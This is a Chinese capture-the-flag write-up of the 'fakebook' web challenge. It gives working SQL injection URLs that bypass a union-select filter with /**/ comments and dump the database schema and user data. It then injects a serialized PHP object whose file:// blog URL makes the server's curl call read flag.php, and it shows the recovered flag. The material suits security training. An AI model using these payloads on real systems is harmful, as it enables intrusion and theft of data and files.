题目
访问题目场景
我自己尝试了很久,发现怎么都找不到这道题的入手点,然后就去看了大佬们的文章,然后我发现这道题更趋近于真实的场景
解题过程
先使用目录扫描器扫一下发现存在robots.txt访问一下
这里发现存在一个备份文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
我认为这里比较有用的就是最后的那个方法,说了有大量的匹配,但是目前意义不大,我们继续去在原题的界面点点看,在join.php我们随便的join看看
http://223.112.5.156:55845/join.php
出现了弹窗
证明我们输入的Blog不对啊,那就用到了上面的备份的源码了,这里必须得需要https://(可有可无),然后是数字和字符,加一个. 然后是2-6个字母
这样就join成功了,然后我们点击admin
我们发现进入了一个新的界面,但是这个新的界面不是主要的,最主要的就是这个界面的url
http://223.112.5.156:55845/view.php?no=1
看到这个url很多师傅应该知道,这里大概率的存在注入点,用简单的no=1 and 1=1 以及 no=1 and 1=2,发现了sql注入的存在,判断字符长度,超过4就报错了
http://223.112.5.156:55845/view.php?no=1 order by 4#
http://223.112.5.156:55845/view.php?no=1 union select 1,2,3,4 #
这里没有回显,可能存在过滤
在多次测试的情况下发现union select都被过滤掉了,那么就想办法绕过,在百度的过程中我发现了,大佬的文章
SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-CSDN博客_sql注入and被拦截
这里正确的绕过姿势是使用/**/union /**/select
/view.php?no=2 union/**/select 1,2,3,4#
爆库
view.php?no=2%20/**/union%20/**/select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata
爆表
view.php?no=2%20/**/union%20/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema="fakebook"
爆字段
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
爆值
view.php?no=2 union/**/select 1,group_concat(data),3,4 from users#
这一段话是序列化的字符串,看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php,然后最开始目录扫描的时候,备份文件的源代码中存在cuit_init(),curl可以使用file伪协议读取文件。
所有我们要使用file输出我们所需要的值,但是之前我们需要进行反序列化操作
<?php
class UserInfo
{
public $name = "123"; #任意
public $age = 123; #任意
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo(serialize($a));
?>
构造payload
view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #
运行payload之后,并没有在前端回显而是存在网页源代码中
使用base64解密一下
<?php
$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);